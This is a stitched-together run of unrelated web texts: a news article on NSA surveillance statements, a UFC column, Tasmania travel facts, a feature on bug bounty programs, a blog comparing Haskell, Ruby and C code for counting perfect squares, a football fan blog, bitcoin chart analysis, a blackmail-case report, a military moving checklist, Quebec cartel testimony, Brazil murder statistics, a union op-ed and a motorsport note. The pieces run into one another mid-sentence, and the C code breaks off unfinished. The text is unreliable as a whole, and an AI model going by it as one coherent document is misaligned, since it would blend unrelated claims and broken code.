later report says NSA often breaks privacy rules Court overseeing programs reportedly doesn't see all documents First the Obama administration and the intelligence community said there was no program gathering Americans' data. Then they said the government was only gathering focused bits of data and only on foreign targets. Then they admitted intelligence operatives were gathering large amounts of data but not accessing it unless a court first gave the OK. Now it appears there are thousands of times each year when the data of Americans not suspected of having anything to do with terrorism are gathered. "Can you understand, though, why some people might not trust what you're saying right now about wanting..., " a reporter asked President Barack Obama last week at a White House news conference. "No, I can't," Obama said. Americans would be comfortable with the programs, he argued, if they knew everything about them. JUST WATCHED Obama: Snowden was no patriot Replay More Videos... MUST WATCH Obama: Snowden was no patriot 01:47 JUST WATCHED Obama: We need new thinking for new era Replay More Videos... MUST WATCH Obama: We need new thinking for new era 04:13 JUST WATCHED Obama: Doing the dishes to regain trust Replay More Videos... MUST WATCH Obama: Doing the dishes to regain trust 01:14 JUST WATCHED Who will review spy agencies? Replay More Videos... MUST WATCH Who will review spy agencies? 02:43 "I am comfortable that the program currently is not being abused," the president said. "I'm comfortable that if the American people examined exactly what was taking place, how it was being used, what the safeguards were, that they would say, 'You know what? These folks are following the law and doing what they say they're doing.' " But the public has learned about the National Security Agency programs in such a way that every time a new revelation is served up, it undercuts what the president or the major players in the intelligence committee just said. Here are the most glaring examples: 1. Obama: Programs not being abused The president tried to assuage concerns about the programs during his August 9 news conference. He said he had ordered a new review of the programs, even as he suggested Americans would be better off if NSA leaker Edward Snowden had never let the world know about them. The important thing, he argued, is for Americans to be able to trust their government isn't abusing the information it is collecting. "What you're not reading about is the government actually abusing these programs and listening in on people's phone calls or inappropriately reading people's e-mails. What you're hearing about is the prospect that these could be abused," he said, adding that the special Foreign Intelligence Surveillance Court was guarding against those abuses. Less than a week later, The Washington Post published a blockbuster report based on more documents provided by Snowden under the headline, "NSA often breaks privacy rules." The documents given by Snowden to the Post suggest thousands of accidental and some intentional infractions. The head of the Foreign Intelligence Surveillance Court took the unprecedented step of issuing a public statement that his barebones staff can only oversee what NSA provides to it. And the Senate Intelligence Committee, one of the main overseers of the NSA in Congress, was not made aware of the internal review by the NSA -- staffers learned of the review of privacy infractions when the Post contacted them, according to the newspaper. The NSA argued in a response that the infractions represent only a small fraction of the calls and data it is sifting through and they are incidental to the overall mission of preventing terrorism. Obama also noted at his news conference that a review of the programs was already under way and that Americans learning about the NSA's gathering of their data shouldn't have come through leaks. JUST WATCHED Filmmaker helped NSA leaker tell story Replay More Videos... MUST WATCH Filmmaker helped NSA leaker tell story 03:13 JUST WATCHED Snowden's father lashes out Replay More Videos... MUST WATCH Snowden's father lashes out 01:41 JUST WATCHED Clyburn: No 'blank check' for the NSA Replay More Videos... MUST WATCH Clyburn: No 'blank check' for the NSA 02:36 JUST WATCHED Crossfire's Jones and Cupp on the NSA Replay More Videos... MUST WATCH Crossfire's Jones and Cupp on the NSA 06:12 JUST WATCHED King: Obama catering to Edward Snowden Replay More Videos... MUST WATCH King: Obama catering to Edward Snowden 05:35 2. Obama: The programs are transparent During a combative June 16 interview with Charlie Rose, Obama dodged a question about how often the Foreign Intelligence Surveillance Court denies NSA requests to subpoena and analyze the data that it collects. Rose asked if the program should be in some way transparent. "It is transparent," Obama said. "That's why we set up the FISA court." According to Thursday's Washington Post report, the court is not given all the information about every request for surveillance. And Obama has admitted that the programs needs review to assure Americans they are not violating civil liberties. 3. Clapper: U.S. not gathering Americans' info The most obvious misstatement came from Director of National Intelligence James Clapper when he told Sen. Ron Wyden at a March congressional hearing that the government isn't gathering information on Americans. Wyden, who has been a critic of the programs behind closed doors, was trying to get Clapper on the record. Wyden asked Clapper whether the NSA collected "any type of data at all on millions or hundreds of millions of Americans?" Clapper answered, "No, sir." Wyden: "It does not?" Clapper: "Not wittingly. There are cases where they could inadvertently perhaps collect but not wittingly." The nation's top spy later had to apologize in a letter to the Intelligence Committee. He admitted what he said was "erroneous." He told NBC that what he said was the "least untruthful" answer. 4. Alexander: NSA doesn't have capability to 'flip the switch' In testimony to a House committee on June 18, Gen. Keith Alexander, the head of the NSA, had the following exchange with Rep. Mike Rogers, chairman of the House Intelligence Committee and a supporter of the data mining programs: Rep. Mike Rogers: "Does the NSA have the ability to listen to Americans' phone calls or read their e-mails under these two programs?" Gen. Keith Alexander: "No, we do not have that authority," Rogers: "Does the technology exist at the NSA to flip a switch by some analyst to listen to Americans' phone calls or read their e-mails?" Alexander: "No." Rogers: "So the technology does not exist for any individual or group of individuals at the NSA to flip a switch to listen to Americans' phone calls or read their e-mails?" he repeated. Alexander: "That is correct." It has since become clear through subsequent leaks that the government does have temporary access to large amounts of the phone calls and e-mails sent in the United States. But the distinction that allowed Alexander to answer "no" is that analysts are supposed to obtain the OK from the Foreign Intelligence Surveillance Court before doing so. That's perhaps why he said they lacked the "authority." Subsequent leaks in July about a program called XKeyscore printed in the UK's Guardian newspaper and in The New York Times suggested that the NSA collects nearly every phone call and e-mail. The idea is that the intelligence community is collecting the entire "haystack" of information that it can sift through later when it has some idea what needle it needs to find. Even if the analysts need court approval, the newer disclosures suggest the NSA has access to the content of communications, at least for a time. 5. Alexander: 50 plots thwarted Alexander also argued several times before Congress that information "gathered from these programs provided government with critical leads to prevent over 50 potential terrorist events in more than 20 countries around the world." But details of these plots have not been shared publicly. Lawmakers who have been briefed on the plots have expressed skepticism. At a July 31 hearing, Sen. Patrick Leahy said by his estimation the NSA's data showed the data collection had not foiled "dozens or even several terrorist plots."“…not the outcome I wanted but I’d rather go down Looking 4 the finish than just grind out a boring dec!” Said the man coming off a knockout loss. Not just any knockout loss, mind you. Jamie Varner was in touching distance of an impressive victory over Abel Trujillo at UFC 169. With the finishing line in sight, Varner marched forward swinging a wide left hook and ended up walking onto the end of a solid right hand to the jaw, leaving him unconscious, face-down on the mat. Varner’s twitter proclamation should then come as no surprise: What better way to justify snatching defeat from the jaws of victory than to declare a post-fight ‘finish at all costs’ ethos. Going into this fight, it’s unlikely Jamie Varner would have chosen not only to lose, but to be the victim of a KO of the night finish. One suspects a “boring dec” would have been preferrable. Then again, the $75,000 in his pocket is a compelling argument to the contrary. This is not to say Varner hasn’t thrown caution to the wind in the past, this was his fifth bonus under Zuffa employ, there’s little doubt that the former WEC champ would rather win a memorable battle than simply ease his way to a decision. The key word here though is ‘win’ – even the most exciting fighters eventually get cut without it. In the co-main event, Alistair Overeem cruised to a unanimous decision win over former heavyweight champion Frank Mir, in a performance described by UFC president, Dana White as “crappy”. This is despite White coming out prior to the fight and admitting that it ‘appeared’ Overeem would likely be cut with another loss. Overeem did what he needed to do to stay employed: he won. And emphatically. ‘The Reem’ out-landed Mir by an overwhelming 139-5 in strikes, dropping Mir in the first with a knee to the face and dominating for the full 15 minutes. So what was ‘crappy’ about this lopsided beating of a former champion? Was it that Overeem didn’t go in recklessly for the finish and tire, like he did previously against Antonio Silva? Or was it that he kept the fight where he wanted it – never letting Mir back in the fight, like he did Travis Browne? Or was he simply a scapegoat for a card that set a new record for decisions? The UFC never cuts exciting fighters, at least not straight away. Leonard Garcia was granted a stay of execution after being assured “…there’s no way in Hell we’re cutting Leonard Garcia!” Eventually though, the goodwill ran out and Garcia was let go after a 5th consecutive loss. Dan Hardy was another to curry favour with the UFC for putting on a show with Lorenzo Fertitta stating in no uncertain terms “Will not cut Dan Hardy. I like guys that WAR!!!”. More recently, Bobby Voelker survived the cut despite going 0-3 by “moving forward and trying to win”. They don’t cut guys like that, apparently. So where was this free pass for Overeem? In his previous 3 fights for the UFC, Overeem dismantled Brock Lesnar and lost two fights he was comfortably winning by looking for the finish. Two fights where, had he fought more cautiously, he could possibly have won. But he didn’t, he chose not to ‘leave it in the hands of the judges’ and where did this get him? One loss from being cut. Perhaps it would simpler to get to the root of who gets cut: Are they worth what they’re being paid? Exciting fights or not, Overeem costs the UFC a reported $285,714 to show (per UFC 169) – considerably more than Leonard Garcia or Bobby Voelker. This is fine, so long as he wins, preferably in style. For any prospective UFC fighters the message is very clear: If you want to keep your job, you need to put on a show but you need to win fairly regularly too (this is a sport, after all). Well, unless you put on such a show that they simply cannot cut you (this is entertainment, after all), but even that good grace only lasts for so long. So maybe consider mixing up the exciting fights with conservative wins, but no so conservative as to be ‘crappy’, that might undo the work you put into the previous fights. Oh, and ‘crappy’ is relative – what you might think is a clinical one-sided beating, could easily be dismissed as playing it safe. So remember to always go for the finish, but not so much that it costs you the victory, you still need that ‘W’. Maybe just negotiate for less money – you’ll get a smaller cheque, but more of them – though this will effect your leverage for future renegotiations (this is a business, after all). On second thoughts, just be lucky. By JJ Saddington – @JJSADDINGTON101 shares Share Tweet Pin Pocket Flipboard Last Updated on April 5, 2018 Tasmania is a state in Australia belonging to an island of the same name. It is separated from mainland Australia by the Bass Strait. As of 2007, Tasmania has a total population count of a little less than half million. Hobart is the capital city and point of entry for those who travel to Tasmania. The climate in Tasmania is constantly fluctuating. In fact, changes to the temperature and wind speed can vary on a weekly basis. Just like the rest of Australia, Currency: Australian Dollar Official Language: English is the official language in Tasmania, as with the rest of Australia. Wi-Fi Availability: You can find several spots to get free Wi-Fi in Tasmania. However, the government of Tasmania is planning to launch a new program that offers free Wi-Fi to all tourist spots. Airport/s: Hobart International Airport is the main hub for flights that travel to Tasmania. Visa Required: Tasmania is part of Australia. Therefore, the visa requirements for travel to Tasmania are the same with that of Australia. Driving: In Tasmania, you must drive on the left-hand side of the road. International Driver’s License Accepted? You can use your international driver’s license to drive in Tasmania as long as the license is in English. This will allow you to drive when you travel to Tasmania. Crime: The crime rate in Tasmania is very low. In fact, it is the safest state in Australia. Electrical Adapters: The electrical voltage used in Tasmania is 230/240 volts at 50 Hertz. Trivia: DID YOU KNOW that more than 42% of Tasmania consists of forest or marine reserves, national parks and World Heritage sites? Where I’ve Been to in Tasmania Travel to Tasmania ResourcesHunched over laptops in a small room in a downtown hotel in Vancouver, they’re unlikely looking bounty hunters. No guns, no handcuffs and no bad guys in sight. Instead their prey is lurking hidden in the computer, software bugs that can be exploited by hackers intent on cracking supposedly secure websites. For two days at the CanSecWest security conference earlier this year in Vancouver, a steady parade of security experts attacked everything from Apple’s Safari, Microsoft’s Internet Explorer and other web browsers, to Adobe’s Flash. By the end of the two days, they had collectively racked up close to $1 million. It wasn’t the ill-gotten gains of black-hat hackers, but instead prize money awarded by companies to white-hat hackers who search out bugs in software and by doing so help companies make the software more secure. (The term “black hat” comes from old westerns where the bad guys usually wore black hats and the good guys wore white ones.) “These websites are already under attack,” said Jacob Hansen, CEO and co-founder of CrowdCurity, a California-based start-up that provides companies with a platform for crowdsourcing security testing, with rewards programs. “What you do by creating a bounty program or a reward program is you are really creating a communications channel for the good guys out there. “They can use the communications channel to identify security issues and then earn a reward.” It also heightens their stature in the security community. Getting paid by a company like Google or Microsoft for uncovering a major glitch means more than cash: it’s caché. “They are able to put it on their CV, they tweet about it, blog about it, they’re recognized within the community for being a skilled security guy,” said Hansen. Powers used for good Vancouver’s Bex.io, which provides a software platform for Bitcoin exchanges, is among companies that pay a bug bounty to white-hat hackers to help improve their security. “The general idea of a bug bounty is that you put your software up to attack,” said Kris Constable, in charge of Bex.io’s operations and security. “Most software that exists today is attacked by malicious people. “The idea of a bug bounty is to create a model where people can use those powers for good. Instead of using that vulnerability against you, they are rewarded for finding it. “Most major companies now are offering bug bounties.” With Bitcoin exchanges a potentially lucrative target for hackers, the stakes are high and Bex.io has an ongoing bounty program, with rewards paid in bitcoins. Payoffs vary, and they can be lucrative. Microsoft’s bounty program pays up to $100,000 for “truly novel exploitation techniques” in attacks on the latest version of its operating system. Earlier this year, Google expanded its vulnerability reward program to include all its Chrome apps and extensions, offering rewards ranging from $500 to $10,000 US depending on the severity of the vulnerability, and their potential use to hackers. Facebook offers a minimum $500 reward to white-hat hackers who uncover security bugs, with no maximum specified, and payments based on the severity and creativity of the exploit. Late last year a Brazilian web security researcher Reginaldo Silva found a Facebook vulnerability that could have been used by hackers. Within three-and-a-half hours of getting Silva’s report, Facebook had a short-term fix live and it later paid a $33,500 US bounty to Silva. According to Facebook it has paid out more than $2 million since it started its bug bounty program in 2011. In 2013, it paid out a total of $1.5 million to 330 researchers worldwide. Etsy, an online marketplace for handmade and vintage items, also offers a minimum $500 reward, with higher payouts depending on the bug found. CEOs held accountable While Internet security was once shrouded in secrecy, with companies preferring to simply assure their customers and users that their applications are secure, that “security through obscurity” viewpoint is coming under increasing criticism. No sooner do companies issue such reassurances than news of another major breach breaks. Most recently, eBay has warned all its users to change their passwords after hackers accessed a database with customers names, encrypted passwords and other personal data. And blaming hackers is no longer enough — now, not only IT departments but CEOs are being held accountable, by customers and by shareholders. Target president and CEO Gregg Steinhafel stepped down earlier this year, his departure hastened by a massive security breach in which hackers accessed personal and financial data — including credit and debit card information — for more than 40 million customers. Companies that use crowdsourcing to test their software say they aren’t making themselves more vulnerable to attack: hackers are testing all the time, they’re just not sharing their discoveries with their victims. “There are two schools here, the new school and the old school,” said Hansen. “In the old school they want to hide everything and not be open and transparent around potential security issues. “The new school realizes they need to interact with the (security) community. Nobody is 100-per-cent secure, but the best way to ensure you are as secure as you can be is to interact with the community.” CrowdCurity lets companies set up their own bug bounty program on its website, with rewards ranging from $1,000 for a high critical bug, to $300 for a medium and $50 for a bug judged to be not so critical. CrowdCurity has 1,000 testers from all over the world who can choose to take the challenge and see if they can uncover glitches that could leave a website vulnerable to attack. Displaying an assurance of security doesn’t guarantee a website is secure anymore and Hansen thinks it won’t be long before bug bounty programs will become standard — meaning consumers will expect such testing. Bug bounty programs may even be touted by marketing and PR departments, hoping to convince users they’re serious about security. “It will be a requirement for users of the website that the site interact with the security community and stay transparent around their security issues,” said Hansen. Shane Macaulay, considered one of the top bug bounty hunters in the world, was a winner in the first CanSec West Pwn2Own contest in 2007. (Pwn is slang meaning to own in the sense of conquering or taking over; own refers to the fact that successful hackers get to keep the laptop they hacked.)Since 1950, in computer science and programming a general dichotomy was shaped. This dichotomy was regarding how to approach programming problems, what to sacrifice and what to favor first. One group was in favor of performance, also known as Bottom-Up and the other in favor of abstraction also known as Top-Down. The first group would start with the hardware and machine language, then add abstraction to get closer to math, but NEVER at the expense of performance. The languages in that family are famous for being super fast like C, C++, Java, etc. But they have the downside of getting the programmer too involved in details and you have to specify everything in an imperative way. For instance to transform a collection, you have to loop over every single element, apply the transformation and collect it back up. The second group would start with mathematics and substaract abstraction to get down to the machine, sometimes at the expense of performance. The languages in that category are being blamed for being too slow sometimes. But they have nice features like the ability to confirm to wholemeal programming approach and not getting involved in details. For instance, you transform the entire collection by map -ing the transformation function on the collection, and the language will take care of the details for you. Brian Beckman explains this dichotomy nicely in his Don’t Fear the Monad talk (the link gets you to that part of the talk). Both schools of thought have valid points and like anything else in the world of computer science, there is a trade off involved. I had a professor in college who always said: “The world of Computer Science … The world of Trade Offs” and he never used a verb in that sentence :) But personally, I kind of like the latter approach better. Starting with wholemeal and reducing abstraction ONLY if you absolutely need the performance improvements it brings. Because you’re paying the cost of more complicated and harder to maintain codebase at that point. Let’s experiment this with a more concrete example rather than just abstract talk and preaching. I’m aware that there are better implementations for all the sample codes shown below and feel free to mention them in the comments, I enjoy checking them out for sure. But keep in mind that these samples are written in this way in order to be aligned with the point I’m trying to make in this post. Also I’m using intermediate variables obsessively cause this is a blog post :) Perfect Squares Problem Imagine you wanna write a piece of code that takes two Integer numbers and count how many perfect squares are within that range. We start with the pure functional and wholemeal approach, then we reduce abstractions continuously until we achieve our desired performance. Just for fun and some obligations, we’ll write this in 3 different steps and each step in a different language! Pure Functional & Wholemeal In this approach, we solve the problem by following these steps: transform numbers to True or False representing whether a number is perfect square or representing whether a number is perfect square count how many True exists in the outcome Here’s the Haskell implementation: findSquaresCount :: Int -> Int -> Int findSquaresCount low up = let isSquares = map isSquare [ low.. up ] in length. filter id $ isSquares isSquare :: Int -> Bool isSquare num = let root = sqrt ( fromIntegral num :: Double ) floored = floor root diff = root - ( fromIntegral floored :: Double ) in diff == 0.0 Pros succinct easy to understand easy to maintain does not get involved in details of collection handling Cons VERY SLOW in case of huge ranges (e.g 100 million numbers) in case of huge ranges (e.g 100 million numbers) Using extra space (maintaining True/False List) More Imperative and More Efficient In this approach, we solve the problem by following these steps: Iterate over the range of numbers check each number for being a perfect square or not increment the perfect square count if it is Here’s the Ruby implementation: def count_perfect_squares ( low, up ) perf_sq_count = 0 ( low.. up ). each { \| num \| perf_sq_count += 1 if square? ( num ) } perf_sq_count end def square? ( num ) root = Math. sqrt ( num ) floored = root. floor diff = root - floored diff == 0. 0 end Pros easy to understand easy to maintain NO extra space required Cons Involved in collection iteration –> less abstract SLOW in case of huge ranges (it’s going over EVERY single number to check) Most Efficient and Least Abstract In this approach, we take leverage of a mathematical relation between consecutive perfect squares: ( n + 1 ) ^2 - n^2 = 2 * n + 1 We solve the problem by following these steps: Find the first perfect square within the range From that point on, get the next perfect square by adding 2 * n + 1 to the current one to the current one until it gets out of the range and in the meantime increment the count Here’s the C implementation: typedef struct { int square ; int root ; } Square ; int count_squares ( int, int ); Square find_first_square ( int ); int count_squares ( int low, int up ) { Square first_square = find_first_square ( low ); if ( first_square. square > up ) return 0 ; if ( first_square. square == up ) return 1 ; int root = first_square. root ; int current
considering the more systematic approach other clubs take with their Borg Collective assimilation of foreign supporters to their fanbase. Not suggesting our growth is completely organic, but I prefer us to be the hipsters abroad rather than the obvious choice. I'm sure Levy would prefer that to be reversed. Every penny counts. And to all our supporters, whether here today, home or abroad, on behalf of everyone at the Club, thank you. You are what this Club is all about. I know the Lane will be rocking today with your support for yet another final day of the season, all-important win. Enjoy the occasion and I wish you and your families a great summer ahead of seeing you here again in August. Yours Daniel A great summer will be defined by what you (Mr Levy) do alongside AVB. No pressure. There is a very black and white reaction to Daniel Levy. Either he's perceived as being a very good chairman, the best in the league - keeping us competitive with a 36k stadium and a restrained wage structure or he's looked upon as holding us back by being too cautious and with a preference of business over football when it comes to risk taking. Why no middle ground? Well there is middle ground that some of us have found a space to stand on. Let's not be naive, this is an investment. It is business. But long term it benefits both Levy and Joe Lewis to have Spurs as a success, not just in the end of year financial reviews but also on the pitch because on field success will aid the accountancy off it. Does the club serve a purpose to either if it's just plodding along with healthy profit, selling their best assets to allow for further plods without ever attaining something more tangible for the fans? Why would they a) Risk their investment to the detriment of all and b) Not look to maximise their investment not just as a business but as one that is there to support a football club? It's probably a tad patronising to believe they don't care. But be careful what you wish for. Stratford might have allowed for the quick fix, saving millions in stadium development and making more thanks to transport links and tourists. Then allowing them to sell the club to a new investor that might elevate us towards the financial clout of a City. That sit well with you? Doesn't with me. Never will. Levy once said he understood that CL was not a certainty each season (competing for it). On paper, it shouldn't be when you look at the other clubs around us. His point was to appreciate how this would impact the running of a club if they qualified and then didn't - something we've experienced the once. That shouldn't be used as an excuse not to speculate, but it would seem said speculation is very much boxed into Levy's economical bubble - something we all spend our time theorising about. If we fail to sign the players we need to be signing again, then we might have to accept that bubble simply won't burst for our chairman, but will continue to do so for us. It does feel like we discuss this every single summer. Levy's pragmatism is one of continued ambiguity. Onwards. Together. We don't have to hold each others hands, but let's look to march in the same direction. xUpdate: Double top appears at 5865 level which signals a more significant retrace is coming and in this report I am going to highlight which levels I will be watching for bullish reversal patterns that can lead to a retest of the high.Besides the price formation (which is very clear) the other factor that is pointing to a more significant retrace is the 1.618 extension at 5742 (this measurement is projected from the 4153 swing low). These levels are far from precise, but usually offer a reliable level for profit targets, and once reached, the market is also more likely to turn. This is why I do not buy highs, especially near these extensions.On the bigger picture it is clear that this market is strong, but the question is where do you buy the pullback for a swing trade? I am anticipating the 4820 to 4520 support zone (.618 of recent bullish swing). There is a number of overlapping levels in this area and allow for clear definition of risk according to my plan. The 4820 upper level of the zone is also the.382 of the entire bullish swing, and on top of that 4895 is the previous resistance level that was holding price below the 5k level which can now act as a psychological support near 5k. The entire zone is 300 points wide which means I will need some bullish formations before I can determine an actual level to measure risk from, but at least I know that 4520 offers a good starting point. If price breaks below this zone, that will signal more significant weakness and I will reevaluate from there.There is a minor support at 5234 which is the.382 of the recent bullish swing, but since it is relative to the recent swing, I would rather watch for a break below this level as a signal for the 4820 area retest. Minor bounces off this level can offer some attractive day trading opportunities if you are employing strategies on the smaller time frames.In summary, we are now entering the week of the forks and will see if the usual "buy the rumor, sell the news" tendency plays out. Since the other coins like ETH and LTC are following this price action to an extent, the levels can serve as a reference point for reversals in the other coins as well (especially on a day trading time frame). I get a lot of criticism for not posting exact trades, but that is not the purpose of my analysis. If a condition fits my swing trade plan, then I will write about it, and if I do not like the price action based on MY criteria, I will write about that too, but that does not mean you have to follow it exactly. Your own risk tolerance, account size, investment goals, trading plan and style are all major factors that should shape how you make decisions, but ultimately the decisions you make have to be from your OWN ideas. The purpose of my analysis is to offer a perspective, or a context that you can use for comparison and as a starting point to develop your own ideas from.Comments and questions welcome.Photo via Instagram The Toronto sisters with Kardashian-like Instagrams accused of bullying and blackmailing a Nigerian billionaire, Jyoti and Kiran Matharoo, have put out an apology video. Reading from a cell phone and standing beside her silent sister, a woman who appears to be Jyoti apologized and admitted to creating NaijaGistLive, a website allegedly used to enable the crimes the sisters are accused of. "We created a platform called NaijaGistLive.com and.co where people can send in stories," she said in the video. "Most stories were sent by close friends or associates of people being written about. The intention was not to hurt anyone or be malicious; the intention was not to extort anyone." NaijaGistLive is a Nigerian celebrity gossip site the Matharoos allegedly owned and ran. NaijaGist.com, which the sisters' alleged site was a knock-off of, reported that the Matharoos operated a "gossip mill where they manufacture stories" and "went as far as sleeping with big Nigerian politicians and recording their sex tape secretly to extort millions." The sisters each have tens of thousands of followers on social media, often posting photos on Instagram of lavish tropical vacations, money in various forms of currency, and in true faux-Kardashian style, a load of butt shots. The man the Matharoo sisters were accused of attempting to blackmail with alleged evidence of him cheating on his wife, Femi Otedola, is a Nigerian man whose estimated net worth is $1.2 billion. Court documents also show that the sisters are accused of using their site "for the humiliation and cyber bullying of some 274 persons." "We apologize to Femi Otedola and his family, especially his wife and children and all the other petitioners… We haven't received any money from this website," Matharoo said in the video, both her and her sister dressed in all black clothing. Matharoo ended the video by saying: "We promise not to say anything of the contrary to what we are saying now. We freely volunteered to make this video, and not under duress, 'cause we are aware of the damages done to people." The Matharoo sisters' case is set for January 26. Follow Allison Tierney on Twitter.Military PCS Checklist: Top 10 Things to Remember posted Jul 19, 2011 Permanent Change of Station (PCS) moves can be taxing and quite costly. It is important to have a detailed step-by-step plan, to help minimize mental anguish and financial strain. Here is a military PCS checklist to help you get started with some of the most essential steps to a hassle- free move. 1. Chances are that your move will not be completely covered. The average PCS move costs families $1,725.00. The best way to prevent moving costs from causing financial issues is to save, save, save. Ensure that at least this amount is saved and set aside, as far before the move as possible. This will reduce the chance of having to tap into personal savings, to cover moving costs. 2. Your military ID is a very important item for you to keep and maintain. If your expiration date is approaching and may pass mid-move, be sure to renew it in advance. This will prevent any time without one, which has the potential to cause a host of problems. 3. Make sure that you have informed your financial institution, credit card companies and loan companies of your new move. A forwarding address mishap is an easy way to allow personal information to be intercepted. Also, if you rely on paper billing, it is a way to possibly miss payments. 4. It is always ideal to make your own inventory of the boxes that you will be moving with you. This way if there is something missing, upon arrival to the new residence, you are aware right away. 5. Compare your inventory list with that of the moving company, if there is one. Make sure that the moving coordinator is keeping a detailed account of everything being moved. Do not except vague categories, such as “misc”. Not checking the moving coordinator’s inventory list could cause problems for you, in the long run, if there is a discrepancy. 6. Inform the Personal Property Office, if using its services, as soon as possible, regarding the move. Remember that they are not responsible for items acquired after the effective date of your orders. It is good to remember that there are a host of things that they do not transport. For example, they do not transport loaded firearms, ammunition or volatile materials. Firearms that they do transport must be disassembled. Also remember that they only transport a certain weight, which is determined by rank and dependents. 7. If you are living in military housing, be sure to inform the housing department of your orders and your projected move date. 8. If the move is an international move and your vehicle is currently financed, it is important for you to begin processing vehicle shipment as soon as possible. It will be necessary to receive permission from the financial institution holding the title; without their permission, the vehicle is not permitted to leave the country. 9. To avoid any type of charges, whether in government housing or private housing, it is imperative that you follow cleaning guidelines, within your lease. If these guidelines are not followed, it is likely that you will be charged for them to do so. Before attempting to make any repairs, contact the landlord, to ensure the tenant-permitted repairs. Repairs made outside of these guidelines may cause a penalty as well. 10. Make sure that cash, checkbooks, jewelry, bonds, birth certificates, social security cards, passports and medical records are carried with you. Valuables should not be entrusted to others and neither should ID documents. If avoidable, do not ship these items. Any move can become stressful and chaotic, but this military PCS checklist should give you a good start to creating your own “to do” list. Keeping things in order before and during the moving process can help make the adjustments easier as you and your family transition to a new location. And remember, Housing 1 Source is here to help you find the perfect home and get completely settled at your new duty station. Contact us today for more information or to get started.MONTREAL – On Thursday, Gilles Théberge, a witness at Quebec’s corruption inquiry and a former high-ranking employee of the construction firm Sintra, described how the asphalt cartel operated in the Montreal area. He told the inquiry that in 2000, the presidents of four companies: Sintra, DJL, Simard-Beaudry and Beaver Asphalt, met to set the price of the raw materials used in asphalt production and to fix how much would be produced. Sintra president, Daniel Ducroix, had brought him along to the meeting in the hopes that Théberge could arrange how the system would function at his level of management. Théberge noted that in his opinion, “it was the first time that there was a conspiracy as big as that.” He acknowledged that there had been systems set up before this, but none were as elaborate or as binding. In his testimony, Théberge was clear: in free competition, the gross profit is 4 to 8 per cent, but with collusion profit is “at least 30 per cent or more.” On the night of June 15, 2000, a bomb made from several sticks of dynamite blew up the Théberge’s car at his home in Lorraine. Watch raw video from the car bomb explosion here. His first instinct was not to call the police to advise them that his car had exploded, but to call Ducroix to tell him the news and that he believed the collusion had gone too far. In the hours that followed the car bombing, Théberge also called construction magnate Antonio Accurso, who denied any knowledge of who might be responsible. The day before, Théberge had attended the opening of the Onyx restaurant in Laval, where Accurso and several other construction entrepreneurs were also present. During the party, Théberge alleged that he was approached by Giuseppe Borsellino from the firm, Garnier Construction, who asked Sintra to back off a $4 million contract in Saint-Laurent, so that his company could have it. Nothing was agreed and the two did not meet again, as Théberge later left his job at Sintra because of the car bombing. – With files from La Presse CanadienneMore than one million people were murdered in Brazil between 1980 and 2011, making it the world's seventh most violent country, a survey showed Thursday. During the period, homicides soared 132 percent to claim 1,145,208 lives, from a rate of 11.5 murders for 100,000 inhabitants in 1980 to 27 per 100,000 in 2011, according to the Map of Violence report, Among those aged between 14 and 25, homicides skyrocketed 326 percent to reach 53 per 100,000 inhabitants, said the study published by the Latin American Studies Center (Cebela). In 2011, Brazil, now home to 194 million people, recorded 51,198 homicides, ranked seventh among the world's most violent nations after El Salvador, the US Virgin Islands, Trinidad and Tobago, Venezuela, Colombia and Guatemala. From 2007, the study highlighted a resumption of a surge in violence after a drop in the previous decade, attributed mainly to public disarmament policies. The survey showed that violence in Brazil, once concentrated in major metropolitan areas such as Sao Paulo and Rio, has spread nationwide over the past 10 years to the hinterland of most states, especially in the north, a trend that coincides with the expansion of new economic hubs. In Maceio, capital of northeastern Alagoas state, homicide rates reached 111 per 100,000 inhabitants in 2011 (288 among the young), 10 times higher than in Sao Paulo. The study also showed most murder victims are men (women represent only eight percent of the total) and blacks (the number among them surged 30.6 percent to 35,297 in 2011 compared with a 26 percent fall among whites to 13,895 that same year. Some 77 percent of young people murdered were Afro-Brazilians in a country where nearly 52 percent of the population is of African descent. Some 206,000 homicides were recorded in the country between 2008 and 2011. "This magnitude cannot be attributed to the continental size of Brazil," the study warned, pointing out that among the world's most populous countries, only Mexico comes close to Brazil with 22 homicides for 100,000 inhabitants. The figures are one for 100,000 in China, 3.4 in India, 5.3 in the United States and 12.2 in Nigeria. The authors of the study blamed impunity (only five to eight percent of crimes are solved in Brazil compared with 80 percent in France) and insufficient efforts to combat a prevailing culture of violence. And contary to a popular belief in recent years, most murders in the country are not linked to organized crime and drug trafficking but are perpetrated for trivial or impulsive reasons, they said.There are two fundamental reasons why Remploy workers are striking today, and they are inextricably linked. First, we do not accept that Remploy factories must be closed or privatised, especially when we are in the middle of the worst economic crisis since the depression of the thirties. We reject the arguments used by the government and certain charities who say the money saved can be used to increase initiatives such as Access to Work, helping disabled people into so-called mainstream employment. Access to Work does not in itself provide any job opportunities; it provides support when employment has been secured. We believe that the reason for closing/privatising Remploy is based purely on saving money to pay for the financial crisis, while ostensibly using the well-worn ideology that Remploy factories do not provide meaningful work and are old-fashioned. The second reason, which is just as important, is that the company and the government want to close down Remploy on the cheap. The redundancy package on the table is far less than the redundancy package that was offered in the two previous voluntary redundancy packages of 2008 and 2011. We will not only be losing our jobs, but we will also be consigned to living in poverty, with a loss of dignity, potential ill health and, for some of us, even an early grave. The consultation process has been a sham, with company representatives treating the trade unions and their members with nothing less than contempt. At the last meeting between the trade unions and the company on 26 June, assurances were given that the collective consultation process was still on going. A few weeks later we learned via email that the collective consultation process was over. The company representatives lacked the moral fibre to tell us face to face. This treatment highlights a callous indifference to the added stress imposed on loyal Remploy workers, some of whom have notched up three or four decades of service to the company. It is nothing short of despicable – made even worse when you consider that company directors should be aware of the effect their actions will have on people with special needs. To add extra fuel to the anger of the workers, we have learned today that provisional closing dates for factories have been set, again with absolutely no communication with the trade unions. Some will close as early as 18 August. The people who work on the 27 sites that are either in the second phase of consultation or are being potentially bought, feel in a more vulnerable position than we do in factories that are ear-marked for closure. They have a quite justifiable fear that they will be transferred to the new employer without any choice in the matter and further down the line could face redundancy without even the pittance that is being offered now. Remploy workers feel they have no other option but to take industrial action. The fight against closure and privatisation will be prosecuted with every ounce of determination from workers. This battle is not only for ourselves but for the thousands, if not hundreds of thousands of working-class disabled people out there who would give their eye teeth for the opportunities we have had to work for an organisation that understands our needs and requirements as disabled people – or used to, that is. • Follow Comment is free on Twitter @commentisfreeNyck de Vries, Dennis Olsen and Dean Stoneman are among the drivers joining the Formula Renault 3.5 field for the first post-season test at Jerez on Tuesday and Wednesday. Eurocup FR2.0 champion de Vries will test with DAMS, after revealing on Sunday night that he will race for the French squad in FR3.5 next season. The McLaren protege will test the #1 car as he follows in the footsteps 